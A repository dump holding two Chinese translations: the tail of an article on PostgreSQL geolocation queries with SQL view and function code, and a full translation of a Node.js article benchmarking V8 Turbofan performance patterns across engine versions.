[admin1CodesASCII.txt](http://download.geonames.org/export/dump/admin1CodesASCII.txt) ) * geo_countryinfo (数据来自 [countryInfo.txt](http://download.geonames.org/export/dump/countryInfo.txt) ) 然后我们来创建一个可以将所有东西拉取到一起的视图[3](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fn.3)。现在我们有了人口数据,城市/行政区/国家数据以及经度/维度数据,都在同个地方了。 CREATE OR REPLACE VIEW city_region_data AS ( SELECT b.country AS country_code, b.asciiname AS city_name, a.name AS region_name, b.region_code, b.population, b.latitude AS city_lat, b.longitude AS city_long, c.name AS country_name FROM geo_admin1 a JOIN ( SELECT *, (country || '.' || admin1) AS country_region, admin1 AS region_code FROM geo_geoname WHERE fclass = 'P' ) b ON a.code = b.country_region JOIN geo_countryinfo c ON b.country = c.iso_alpha2 ); ### 设计一个城市周边查询函数 在大多数嵌套 `SELECT` 语句中,我们都确保城市是在以参考点为圆心,以大约23km为半径的区域内,再对结果应用国家过滤器和城市模式过滤器(这两个过滤器均为可选),最后仅得到接近50个结果。下一步,我们用人口数据对结果重新排序,因为有时候会在较大城市附近有一些区和邻域 [4](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fn.4),而 Geonames 不会用特定的方式标记他们,我们只是想选出较大的城市而不是一个区域(比如说地理位置服务返回了经纬度信息,该信息可被解析为一个较大城市的地区。于我而言,我比较愿意去把它解析成经纬度相对应的大城市)。我们也创建了一个 gist 索引(`@>` 该符号将会使用 gist 索引 ),用于寻找以参照点为圆心,特定半径范围内的点。这个查询函数接受一个点(以纬度和经度表示)作为输入,返回该输入点相关联的城市,地区和国家。 CREATE INDEX geo_geoname_latlong_idx ON geo_geoname USING gist(ll_to_earth(latitude,longitude)); CREATE OR REPLACE FUNCTION geo_find_nearest_city_and_region( latitude double precision, longitude double precision, filter_countries_arr varchar[], filter_city_pattern varchar, ) RETURNS TABLE( country_code varchar, city_name varchar, region_name varchar, region_code varchar, population bigint, _lat double precision, _long double precision, country_name varchar, distance numeric ) AS $ BEGIN RETURN QUERY SELECT * FROM ( SELECT * FROM ( SELECT *, ROUND(earth_distance( ll_to_earth(c.city_lat, c.city_long), ll_to_earth(latitude, longitude) )::numeric, 3) AS distance_ FROM city_region_data c WHERE earth_box(ll_to_earth(latitude, longitude), 23000) @> ll_to_earth(c.city_lat, c.city_long) AND (filter_countries_arr IS NULL OR c.country_code=ANY(filter_countries_arr)) AND (filter_city_pattern IS NULL OR c.city_name LIKE filter_city_pattern) ORDER BY distance_ ASC LIMIT 50 ) d ORDER BY population DESC ) e LIMIT 1; END; $ LANGUAGE plpgsql; ## 总结 我们从系统设计着手,让这个系统可以查询多个Geoip 服务,可以收集这些服务返回的数据对其[聚合](https://en.wikipedia.org/wiki/Aggregate_data)后得到一个更加可靠的结果。我们首先考虑了唯一确定位置的几种方式。随后选取了一种可以在确认位置时消除歧义的方法。第二部分中,我们着眼于构建,存储以及查询PostgreSQL中地理数据的不同方法。然后我们建立了一个视图和函数,用来找出参考点附近的允许我们用来进行反向编码的城市。 ## 附注: [1](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.1) 通过使用多种服务(并且假定这些服务内部使用了不同的数据源)聚合后的结果,将会比我们只使用其中某一种服务得到的答案更为可靠。 此处还有一点优势就,我们使用了免费服务,不需要什么设置,也无需关心更新;因为这些服务都是由各自的拥有者在维护。 然而,比起查询一个本地的 geoip(基于 IP 查询的地理位置)数据结构,查询这些网络地理位置服务则会比较缓慢。好在像城市/国家/行政区这种定位数据库已经有了,例如 [MaxMind GeoIP2](https://www.maxmind.com/en/geoip2-databases), [IP2Location](http://www.ip2location.com/databases/db3-ip-country-region-city) 以及 [DB-IP](https://db-ip.com/db/#downloads) 。 [2](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.2) 介绍一篇[好文章](http://tapoueh.org/blog/2013/08/05-earthdistance),讲述了使用 `earthdistance` 模块来计算附近或更远处酒吧的距离。 [3](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.3) Genomes 也有 geonamelds,我们可以使用这些 genomes-specific ids 来精确匹配其位置。 [4](https://blog.garage-coding.com/2016/07/06/geolocation-using-multiple-services.html#fnr.4) Geonames 没有关于 城市/邻域的多边形数据,或者城市地区类型的元数据(参考概述中 Geonames 和 OpenStreetMap 差异对照表中 criteria 一列的数据),所以你无法查询包含那个点的所有的城市多边形(不是指区域/邻域)。 ================================================ FILE: TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md ================================================ > * 原文地址:[GET READY: A NEW V8 IS COMING, NODE.JS PERFORMANCE IS CHANGING.](https://medium.com/the-node-js-collection/get-ready-a-new-v8-is-coming-node-js-performance-is-changing-46a63d6da4de) > * 原文作者:[Node.js Foundation](https://medium.com/@nodejs?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md](https://github.com/xitu/gold-miner/blob/master/TODO/get-ready-a-new-v8-is-coming-node-js-performance-is-changing.md) > * 译者:[Starrier](https://github.com/Starriers) > * 校对者:[ClarenceC](https://github.com/ClarenceC)、[moods445](https://github.com/moods445) # 做好准备:新的 V8 即将到来,Node.js 的性能正在改变。 本文由 [David Mark Clements](https://twitter.com/davidmarkclem) 和 [Matteo Collina](https://twitter.com/matteocollina) 共同撰写,负责校对的是来自 V8 团队的 [Franziska Hinkelmann](https://twitter.com/fhinkel) 和 [Benedikt Meurer](https://twitter.com/bmeurer)。起初,这个故事被发表在 [nearForm 的 blog 板块](https://www.nearform.com/blog/node-js-is-getting-a-new-v8-with-turbofan/)。在 7 月 27 日文章发布以来就做了一些修改,文章中对这些修改有所提及。 **更新:Node.js 8.3.0 将会和** [**Turbofan 一起发布在 V8 6.0 中**](https://github.com/nodejs/node/pull/14594) 。**用** `NVM_NODEJS_ORG_MIRROR=https://nodejs.org/download/rc nvm i 8.3.0-rc.0` **来验证应用程序** 自诞生之日起,node.js 就依赖于 V8 JavaScript 引擎来为我们熟悉和喜爱的语言提供代码执行环境。V8 JavaScipt 引擎是 Google 为 Chrome 浏览器编写的 JavaScipt VM。起初,V8 的主要目标是使 JavaScript 更快,至少要比同类竞争产品要快。对于一种高度动态的弱类型语言来说,这可不是容易的事情。文章将介绍 V8 和 JS 引擎的性能演变。 允许 V8 引擎高速运行 JavaScript 的是其中一个核心部分:JIT(Just In Time) 编译器。这是一个可以在运行时优化代码的动态编译器。V8 第一次创建 JIT 编译器的时候, 它被称为 FullCodegen。之后 V8 团队实现了 Crankshaft,其中包含了许多 FullCodegen 未实现的性能优化。 **编辑:FullCodegen 是 V8 的第一个优化编译器,感谢 [_Yang Guo_](https://twitter.com/hashseed) 的报告** 作为 JavaScript 自 90 年代以来的关注者和用户,JavaScript(不管是什么引擎)中快速或者缓慢的方法似乎往往是违法直觉的,JavaScript 代码缓慢的原因也常常难以理解。 最近几年,[Matteo Collina](https://twitter.com/matteocollina) 和 [我](https://twitter.com/davidmarkclem) 致力于研究如何编写高性能 Node.js 代码。当然,这意味着我们在用 V8 JavaScript 引擎执行代码的时候,知道哪些方法是高效的,哪些方法是低效的。 现在是时候挑战所有关于性能的假设了,因为 V8 团队已经编写了一个新的 JIT 编译器:Turbofan。 从更常见的 "V8 Killers"(导致优化代码片段的 `bail-out--` 在 Turbofan 环境下失效) 开始,Matteo 和我在 Crankshaft 性能方面所得到的模糊发现,将会通过一系列微基准测试结果和对 V8 进展版本的观察来得到答案。 当然,在优化 V8 逻辑路径前,我们首先应该关注 API 设计,算法和数据结构。这些微基准测试旨在显示 JavaScript 在 Node 中执行时是如何变化的。我们可以使用这些指标来影响我们的一般代码风格,以及改进在进行常用优化之后性能提升的方法。 我们将在 V8 5.1、5.8、5.9、6.0 和 6.1 中查看微基准测试下它们的性能。 将上述每个版本都放在上下文中:V8 5.1 是 Node 6 使用的引擎,使用了 Crankshaft JIT 编译器,V8 5.8 是 Node 8.0 至 8.2 的引擎,混合使用了 Crankshaft **和** Turbofan。 目前,5.9 和 6.0 引擎将在 Node 8.3(也可能是 Node 8.4)中,而 V8 6.1 是 V8 最新版本 (在编写本报告时),它在 node-v8 仓库 [https://github.com/nodejs/node-v8.](https://github.com/nodejs/node-v8.) 的实验分支中与 Node 集成。换句话说,V8 6.1 版本将在后继 Node 版本中使用。 让我们看下微基准测试,另一方面,我们将讨论这对未来意味着什么。所有的微基准测试都由 benchmark.js](https://www.npmjs.com/package/benchmark) 执行,绘制的值是每秒操作数,因此在图中越高越好。 ### TRY/CATCH 问题 最著名的去优化模式之一是使用 `try/catch` 块。 在这个微基准测试中,我们比较了四种情况: * 带有 `try/catch` 的函数 (**带 try catch 的 sum**) * 不含 `try/catch` 的函数 (**不带 try catch 的 sum**) * 调用 `try` 块中的函数 (**sum 在 try 中**) * 简单的函数调用, 不涉及 `try/catch` (**sum 函数**) **代码** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/try-catch.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/try-catch.js) ![](https://cdn-images-1.medium.com/max/800/0*lFxHAunjIiG0o7Dw.png) 我们可以看到,在 Node 6 (V8 5.1) 围绕 `try/catch` 引发性能问题是真实存在的,但是对 Node 8.0-8.2 (V8 5.8) 的性能影响要小得多。 值得注意的是,在 `try` 块内部调用函数比从 `try` 块之外调用函数慢得多 - 在 Node 6 (V8 5.1) 和 Node 8.0-8.2 (V8 5.8) 都是如此。 然而对于 Node 8.3+,在 `try` 块内调用函数的性能影响可以忽略不计。 尽管如此,不要掉以轻心。在整理性能工作报告时,Matteo 和我[发现了一个性能 bug](https://bugs.chromium.org/p/v8/issues/detail?id=6576&q=matteo%20collina&colspec=ID%20Type%20Status%20Priority%20Owner%20Summary%20HW%20OS%20Component%20Stars),在特殊情况下 Turbofan 中可能会导致出现去优化/优化的无限循环 (被视为“killer” — 一种破坏性能的模式)。 ### 从 Objects 中删除属性 多年来,`delete` 已经限制了很多希望编写出高性能 JavaScript 的人(至少是我们试图为热路径编写最优代码的地方)。 `delete` 的问题归结于 V8 在原生 JavaScript 对象的动态性质以及(可能也是动态的)原型链的处理方式上。这使得查找在实现层面上的属性查询更加复杂。 V8 引擎快速生成属性对象的技术是基于对象的“形状”在 c++ 层创建类。形状本质上是属性所具有的键、值(包括原型链键值)。这些被称为“隐藏类”。但是这是在运行时对对象进行优化,如果对象的类型不确定,V8 有另一种属性检索的模型:hash 表查找。hash 表的查找速度很慢。历史上, 当我们从对象中 `delete` 一个键时,后续的属性访问将是一个 hash 查找。 这是我们避免使用  `delete` 而将属性设置为  `undefined` 以防止在检查属性是否已经存在时,导致结果与值相同的问题的产生的原因。 但对于预序列化已经足够了,因为  `JSON.stringify` 输出中不包含 `undefined` (`undefined` 不是 JSON 规范中的有效值) 。 现在,让我们看看更新 Turbofan 实现是否解决了 `delete` 问题。 在这个微基准测试中,我们比较如下三种情况: * 在对象属性设置为 `undefined` 后,序列化对象 * 在 `delete` 对象属性后,序列化对象 * 在 `delete` 已被移出对象的最近添加的属性后,序列化对象 **代码** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/property-removal.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/property-removal.js) ![](https://cdn-images-1.medium.com/max/800/0*i8btiU7YDD57gY4g.png) 在 V8 6.0 和 6.1 (尚未在任何 Node 发行版本中使用)中,Turbofan 会创建一个删除最后一个添加到对象中的属性的快捷方式,因此会比设置 `undefined` 更快。这是好消息,因为它表明 V8 团队正努力提高 `delete` 的性能。然而,如果从对象中删除了一个不是最近添加的属性, `delete` 操作仍然会对属性访问的性能带来显著影响。因此,我们仍然不推荐使用 `delete`。 **编辑: 在之前版本的帖子中,我们得出结论 `elete` 可以也应该在未来的 Node.js 中使用。但是 [_Jakob Kummerow_](http://disq.us/p/1kvomfk) 告诉我们,我们的基准测试只触发了最后一次属性访问的情况。感谢 [_Jakob Kummerow_](http://disq.us/p/1kvomfk)!** ### 显式并且数组化 `ARGUMENTS` 普通 JavaScript 函数 (相对于没有 `arguments` 对象的箭头函数 )可用隐式 `arguments`对象的一个常见问题是它类似数组,实际上不是数组。 为了使用数组方法或大多数数组行为,`arguments` 对象的索引属性已被复制到数组中。在过去 JavaScripters 更倾向于将 **less code**和 **faster code** 相提并论。虽然这一经验规则对浏览器端代码产生了有效负载大小的好处,但可能会对在服务器端代码大小远不如执行速度重要的情况造成困扰。因此将`arguments` 对象转换为数组的一种诱人的简洁方案变得相当流行: `Array.prototype.slice.call(arguments)`。调用数组 `slice` 方法将 `arguments` 对象作为该方法的`this` 上下文传递, `slice` 方法从而将对象看做数组一样。也就是说,它将整个参数数组对象作为一个数组来分割。 然而当一个函数的隐式 `arguments` 对象从函数上下文中暴露出来(例如,当它从函数返回或者像 `Array.prototype.slice.call(arguments)`时,会传递到另一个函数时)导致性能下降。 现在是时候验证这个假设了。 下一个微基准测量了四个 V8 版本中两个相互关联的主题:`arguments` 泄露的成本和将参数复制到数组中的成本 (随后 函数作用域代替了 `arguments` 对象暴露出来). 这是我们案例的细节: * 将 `arguments` 对象暴露给另一个函数 - 不进行数组转换 (**泄露 arguments**) * 使用 `Array.prototype.slice` 特性复制 `arguments` 对象 (**数组的 prototype.slice arguments**) * 使用 for 循环复制每个属性 (**for 循环复制参数**) * 使用 EcmaScript 2015 扩展运算符将输入数组分配给引用 (**扩展运算符**) **代码:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/arguments.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/arguments.js) ![](https://cdn-images-1.medium.com/max/800/0*G35zRaziX-t5aNyc.png) 让我们看一下线性图形中的相同数据以强调性能特征的变化: ![](https://cdn-images-1.medium.com/max/800/0*8dlqdDK4PQcFnpc9.png) 要点如下:如果我们想要将函数输入作为一个数组处理,写在高性能代码中 (在我的经验中似乎相当普遍),在 Node 8.3 及更高版本应该使用 spread 运算符。在 Node 8.2 及更低版本应该使用 for 循环将键从 `arguments` 复制到另一个新的(预分配) 数组中 (详情请参阅基准代码)。 在 Node 8.3+ 之后的版本中,我们不会因为将 `arguments`对象暴露给其他函数而受到惩罚, 因此我们不需要完整数组并可以以使用类似数组结构的情况下,可能会有更大的性能优势。 ### 部分应用 (CURRYING) 和绑定 部分应用(或 currying)指的是我们可以在嵌套闭包作用域中捕获状态的方式。 例如: ``` function add (a, b) { return a + b } const add10 = function (n) { return add(10, n) } console.log(add10(20)) ``` 这里 `add` 的参数 `a` 在 `add10` 函数中数值 `10` 部分应用。 从 EcmaScript 5 开始,`bind` 方法就提供了部分应用的简洁形式: ``` function add (a, b) { return a + b } const add10 = add.bind(null, 10) console.log(add10(20)) ``` 但是我们通常不用 `bind`,因为它明显比使用闭包要慢 。 这个基准测试了目标 V8 版本中 `bind` 和闭包之间的差异,并以之直接函数调用作为控件。 这是我们使用的四个案例: * 函数调用另一个第一个参数部分应用的函数 (**curry**) * 箭头函数 (**箭头函数**) * 通过 `bind` 部分应用另一个函数的第一个参数创建的函数 (**bind**)。 * 直接调用一个没有任何部分应用的函数 (**直接调用**) **代码:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/currying.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/currying.js) ![](https://cdn-images-1.medium.com/max/800/0*diYza234QpDdYolV.png) 基准测试结果的可视化线性图清楚地说明了这些方法在 V8 或者更高版本中是如何合并的。有趣的是,使用箭头函数的部分应用比使用普通函数要快(至少在我们微基准情况下)。事实上它跟踪了直接调用的性能特性。在 V8 5.1 (Node 6) 和 5.8(Node 8.0–8.2)中 `bind` 的速度显然很慢,使用箭头函数进行部分应用是最快的选择。然而 `bind` 速度比 V8 5.9 (Node 8.3+) 提高了一个数量级,成为 6.1 (Node 后继版本) 中最快的方法( 几乎可以忽略不计) 。 使用箭头函数是克服所有版本的最快方法。后续版本中使用箭头函数的代码将偏向于使用 `bind` ,因为它比普通函数更快。但是,作为警告,我们可能需要研究更多具有不同大小的数据结构的部分应用类型来获取更全面的情况。 ### 函数字符数 函数的大小,包括签名、空格、甚至注释都会影响函数是否可以被 V8 内联。是的:为你的函数添加注释可能会导致性能下降 10%。Turbofan 会改变么?让我们找出答案。 在这个基准测试中,我们看三种情况: * 调用一个小函数 (**sum small function**) * 一个小函数的操作在内联中执行,并加上注释。(**long all together**) * 调用已填充注释的大函数 (**sum long function**) **Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/function-size.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/function-size.js) ![](https://cdn-images-1.medium.com/max/800/0*zqsOxnfdkDWMHYY0.png) 在 V8 5.1 (Node 6) 中,**sum small function** 和 **long all together** 是一样的。这完美阐释了内联是如何工作的。当我们调用小函数时,就好像 V8 将小函数的内容写到了调用它的地方。因此当我们实际编写函数的内容 (即使添加了额外的注释填充)时, 我们已经手动内联了这些操作,并且性能相同。在 V8 5.1 (Node 6) 中,我们可以再次发现,调用一个包含注释的函数会使其超过一定大小,从而导致执行速度变慢。 在 Node 8.0–8.2 (V8 5.8) 中,除了调用小函数的成本显著增加外,情况基本相同。这可能是由于 Crankshaft 和 Turbofan 元素混合在一起,一个函数在 Crankshaft 另一个可能 Turbofan 中导致内联功能失调。(即必须在串联内联函数的集群间跳转)。 在 5.9 及更高版本(Node 8.3+)中,由不相关字符(如空格或注释)添加的任何大小都不会影响函数性能。这是因为 Turbofan 使用函数 AST ([Abstract Syntax Tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree) 节点数来确定函数大小,而不是像在 Crankshaft 中那样使用字符计数。它不检查函数的字节计数,而是考虑函数的实际指令,因此 V8 5.9 (Node 8.3+)之后 **空格, 变量名字符数, 函数名和注释不再是影响函数是否内联的因素。** 值得注意的是,我们再次看到函数的整体性能下降。 这里的优点应该仍然是保持函数较小。目前我们必须避免函数内部过多的注释(甚至是空格)。而且如果您想要绝对最快的速度,手动内联(删除调用)始终是最快的方法。当然还要与以下事实保持平衡:函数不应该在大小(实际可执行代码)确定后被内联,因此将其他函数代码复制到您的代码中可能会导致性能问题。换句话说,手动内联是一种潜在方法:大多数情况下,最好让编译器来内联。 ### 32BIT 整数 VS 64BIT 整数 众所周知,JavaScript 只有一种数据类型:`Number`。 但是 V8 是用 C++ 实现的,因此必须在 JavaScript 数值的底层基础类型上进行选择。 对于整数 (也就是说,当我们在 JS 中指定一个没有小数的数字时), V8 假设所有的数字都是 32 位--直到它们不是的时候。 这似乎是一个合理的选择,因为多数情况下,数字都在 2147483648–2147483647 范围之间。 如果 JavaScript (整) 数超过 2147483647,JIT 编译器必须动态地将该数字基础类型更改为 double (双精度浮点数) — 这也可能对其他优化产生潜在的影响。 以下三个基准测试案例: * 只处理 32 位范围内的数字的函数 (**sum small**) * 处理 32 位和 double 组合的函数 (**from small to big**) * 只处理 double 类型数字的函数 (**all big**) **Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/numbers.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/numbers.js) ![](https://cdn-images-1.medium.com/max/800/0*cISX2jccM4yVWZcl.png) 我们可以从图中看出,无论是在 Node 6 (V8 5.1) 还是 Node 8 (V8 5.8) 甚至是 Node 的后继版本,这些观察都是正确的。使用大于 2147483647 数字(整数)的操作将导致函数运行速度在一半到三分之二之间。因此,如果您有很长的数字 ID—将他们放在字符串中。 同样值得注意的是,在 32 位范围内的数字操作在 Node 6 (V8 5.1) 和 Node 8.1 以及 8.2 (V8 5.8) 有速度增长,但是在 Node 8.3+ (V8 5.9+)中速度明显降低。然而在 Node 8.3+ (V8 5.9+)中,double 运算变得更快,这很可能是(32位)数字处理速度缓慢,而不是函数或与 `for` 循环 (在基准代码中使用)速度有关 **编辑: 感谢** [**Jakob Kummerow**](http://disq.us/p/1kvomfk) **和** [**Yang Guo**](https://twitter.com/hashseed) **已经 V8 团队对结果的准确性和精确性的更新。** ### 迭代对象 获得对象的所有值并对它们进行处理是常见的操作,而且有很多方法可以实现。让我们找出在 V8 (和 Node) 中最快的那个版本。 这个基准测试的四个案例针对所有 V8 版本: * 在 `for`-`in` 循环中使用 `hasOwnProperty` 方法来检查是否已经获得对象值。 (**for in**) * 使用 `Object.keys` 并使用数组的 `reduce` 方法迭代键,访问 iterator 函数中提供给的对象值 (**函数式 Object.keys**) * 使用 `Object.keys` 并使用数组的 `reduce` 方法迭代键,访问 iterator 函数中的对象值,提供给 `reduce` 的迭代函数中对象值,以减少 iterator 是箭头函数的位置 (**函数式箭头函数 Object.keys**) * 循环访问使用 `for` 循环从 `Object.keys` 返回的数组的每个对象值 (**for 循环 Object.keys **) 我们还为V8 5.8、5.9、 6.0 和 6.1 增加了三个额外的基准测试案例 * 使用 `Object.values` 和数组 `reduce`方法遍历值, (**函数式 Object.values**) * 使用 `Object.values` 和数组 `reduce` 方法遍历值,其中提供给 `reduce` 的 iterator 函数是箭头函数 (**函数式箭头函数 Object.values**) * 使用 `for` 循环遍历从 `Object.values` 中返回的数组 (**for 循环 Object.values**) 在 V8 5.1 (Node 6)中,我们不会支持这些情况,因为它不支持原生 EcmaScript 2017 `Object.values` 方法。 **Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-iteration.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-iteration.js) ![](https://cdn-images-1.medium.com/max/800/0*okwut-5U3KjXn4ab.png) 在 Node 6 (V8 5.1) 和 Node 8.0–8.2 (V8 5.8) 中,遍历对象的键然后访问值使用  `for`-`in` 是迄今为止最快的方法。4 千万 op/s 比下一个接近 `Object.keys` 的方法(大约 8 百万 op/s)快了近5倍。 在 V8 6.0 (Node 8.3) 中 `for`-`in` 发生了改变,它降低至之前版本速度的四分之三,但仍然比任何方法速度都快。 在 V8 6.1 (Node 后继版本)中,`Object.keys` 比使用`for`-`in` 的速度有所提升 -但在 V8 5.1 和 5.8 (Node 6, Node 8.0-8.2) 中,仍然不及 `for`-`in` 的速度。 Turbofan 背后的运行原理似乎是对直观的编码行为进行优化。也就是说,对开发者最符合人体工程学的情况进行优化。 使用 `Object.values` 直接获取值比使用 `Object.keys` 并访问对象值要慢。最重要的是,程序循环比函数式编程要快。因此在迭代对象时可能要做更多的工作。 此外,对那些为了提升性能而使用 `for`-`in` 却因为没有其他选择而失去大部分速度的人来说,这是一个痛苦的时刻。 ### 创建对象 我们**始终**在创建对象,所以这是一个很好的测量领域。 我们要看三个案例: * 创建对象时使用对象字面量 (**literal**) * 创建对象时使用 ECMAScript 2015 类 (**class**) * 创建对象时使用构造函数 (**constructor**) **Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-creation.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/object-creation.js) ![](https://cdn-images-1.medium.com/max/800/0*ELU7jCa6FA4SOhhv.png) 在 Node 6 (V8 5.1) 中所有方法都一样。 在 Node 8.0–8.2 (V8 5.8)中,从 EcmaScript 2015 类创建实例的速度不及用对象字面量或者构造函数速度的一半。所以,你知道后要注意这一点。 在 V8 5.9 中,性能再次均衡。 然后在 V8 6.0 (可能是 Node 8.3,或者是 8.4) 和 6.1 (目前尚未发布在任何 Node 版本) 中对象创建速度 **简直疯狂**!!超过了 500 百万 op/s!令人难以置信。 ![](https://cdn-images-1.medium.com/max/800/0*xvzRH5TOxggMACa0.gif) 我们可以看到由构造函数创建对象稍慢一些。因此,为了对未来友好的高性能代码,我们最好的选择是始终使用对象字面量。这很适合我们,因为我们建议从函数(而不是使用类或构造函数)返回对象字面量作为一般的最佳编码实践。 **编辑:Jakob Kummerow 在 **[_http://disq.us/p/1kvomfk_](http://disq.us/p/1kvomfk)** 中指出,Turbofan 可以在这个特定的微基准中优化对象分配。考虑这一点,我们会尽快重新进行更新。** ### 单态函数与多态函数 当我们总是将相同类型的 argument 输入到函数中(例如,我们总是传递一个字符串)时,我们就以单态形式使用该函数。一些函数被编写成多态 --  这意味着相同的参数可以作为不同的隐藏类处理 -- 所以它可能可以处理一个字符串、一个数组或一个具有特定隐藏类的对象,并相应地处理它。在某些情况下,这可以提供良好的接口,但会对性能产生负面影响。 让我们看看单态和多态在基准测试的表现。 在这里,我们研究五个案例: * 函数同时传递对象字面量和字符串 (**多态字面量**) * 函数同时传递构造函数实例和字符串 (**多态构造函数**) * 函数只传递字符串 (**单态字符串**) * 函数只传递字面量 (**单态字面量**) * 函数只传递构造函数实例 (**带构造函数的单例对象**) **代码:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/polymorphic.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/polymorphic.js) ![](https://cdn-images-1.medium.com/max/800/0*eF_vt7YUPD0YFsWo.png) 图中的可视化数据表明,在所有的 V8 测试版本中单态函数性能优于多态函数。 这进一步说明了在 V8 6.1(Node 后继版本)中,单态函数和多态函数之间的性能差距会更大。不过值得注意的是,这个基于使用了一种 nightly-build 方式构建 V8 版本的 node-v8 分支的版本 -- 可能最终不会成为 V8 6.1 中的一个具体特性 如果我们正在编写的代码需要是最优的,并且函数将被多次调用,此时我们应该避免使用多态。另一方面,如果只调用一两次,比如实例化/设置函数,那么多态 API 是可以接受的。 **编辑:V8 团队已经通知我们,使用其内部可执行文件 **`_d8_`** 无法可靠地重现此特定基准测试的结果。然而,这个基准在 Node 上是可重现的。因此,应该考虑到结果和随后的分析,可能会在之后的 Node 更新中发生变化(基于 Node 和 V8 的集成中)。不过还需要进一步分析。感谢** [_Jakob Kummerow_](http://disq.us/p/1kvomfk) **指出了这一点**。 ### `DEBUGGER` 关键词 最后,让我们讨论一下 `debugger` 关键词。 确保从代码中删除了 `debugger` 语句。散乱的 `debugger` 语句会破坏性能。 我们看下以下两种案例: * 包含 `debugger` 关键词的函数 (**带有 debugger**) * 不包含 `debugger` 关键词的函数 (**不含 debugger**) **Code:** [https://github.com/davidmarkclements/v8-perf/blob/master/bench/debugger.js](https://github.com/davidmarkclements/v8-perf/blob/master/bench/debugger.js) ![](https://cdn-images-1.medium.com/max/800/0*mdbzBVOk1UWiDb7w.png) 是的,`debugger` 关键词的存在对于测试所有 V8 版本的性能来说都很糟糕。 在**没有 debugger** 行的那些 V8 版本中,性能显著提升。我们将在[总结](https://www.nearform.com/blog/node-js-is-getting-a-new-v8-with-turbofan/#summary)中讨论这一点。 ### 真实世界的基准: LOGGER 比较 除了微基准测试,我们还可以通过使用 Node.js 最流行的日志(Matteo 和我创建的 [Pino](http://getpino.io/) 时编写的)来查看 V8 版本的整体效果。 下面的条形图表明在Node.js 6.11 (Crankshaft) 中最受欢迎的 logger 记录1万行(更低些会更好) 日志所用时间: ![](https://cdn-images-1.medium.com/max/800/0*lsRsaA4cIuC7z7y3.png) 以下是使用 V8 6.1 (Turbofan) 的相同基准: ![](https://cdn-images-1.medium.com/max/800/0*3-QHw8cgY83Cg57i.png) 虽然所有的 logger 基准测试速度都有所提高 (大约是 2 倍),但 Winston logger 从新的 Turbofan JIT 编译器中获得了最大的好处。这似乎证明了我们在微基准测试中看到的各种方法之间的速度趋于一致:Crankshaft 中较慢的方法在 Turbofan 中明显更快,而在 Crankshaft 的快速方法在 Turbofan 中往往会稍慢。Winston 是最慢的,可能是使用了在 Crankshaft 中较慢而在 Turbofan 中更快的方法,然而 Pino 使用最快的 Crankshaft 方法进行优化。虽然在 Pino 中观察到速度有所增加,但是效果不是很明显。 ### 总结 一些基准测试表明,随着 V8 6.0 和 V8 6.1中全部启用 Turbofan,在 V8 5.1, V8 5.8 和 5.9 中的缓慢情况有所加速 ,但快速情况也有所下降,这往往与缓慢情况的增速相匹配。 很大程度上是由于在 Turbofan (V8 6.0 及以上) 中进行函数调用的成本。Turbofan 的核心思想是优化常见情况并消除“V8 Killers”。这为 (Chrome) 浏览器和服务器 (Node)带来了净效益。 对于大多数情况来说,权衡出现在(至少是最初)速度下降。基准日志比较表明,Turbofan 的总体净效应即使在代码基数明显不同的情况下(例如:Winston 和 Pino) 也可以全面提高。 如果您关注 JavaScript 性能已经有一段时间了,也可以根据底层引擎改善编码方式,那么是时候放弃一些技术了。如果您专注于最佳实践,编写一般的 JavaScript,那么很好,感谢 V8 团队的不懈努力,高效性能时代即将到来。 本文的作者是 [David Mark Clements](https://twitter.com/davidmarkclem) 和 [Matteo Collina](https://twitter.com/matteocollina), 由来自 V8 团队的 [Franziska Hinkelmann](https://twitter.com/fhinkel) 和 [Benedikt Meurer](https://twitter.com/bmeurer) 校对。 * * * 本文的所有源代码和文章副本都可以在 [https://github.com/davidmarkclements/v8-perf](https://github.com/davidmarkclements/v8-perf) 上找到。 文章的原始数据可以在[https://docs.google.com/spreadsheets/d/1mDt4jDpN_Am7uckBbnxltjROI9hSu6crf9tOa2YnSog/edit?usp=sharing](https://docs.google.com/spreadsheets/d/1mDt4jDpN_Am7uckBbnxltjROI9hSu6crf9tOa2YnSog/edit?usp=sharing)。 大多数的微基准测试是在 Macbook Pro 2016 上进行的,16 GB 2133 MHz LPDDR3 的 3.3 GHz Intel Core i7,其他的 (数字、属性已经删除) 则运行在 MacBook Pro 2014,16 GB 1600 MHz DDR3的 3 GHz Intel Core i7 。Node.js 不同版本之间的测试都是在同一台机器上进行的。我们已经非常小心地确保不受其他程序的干扰。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 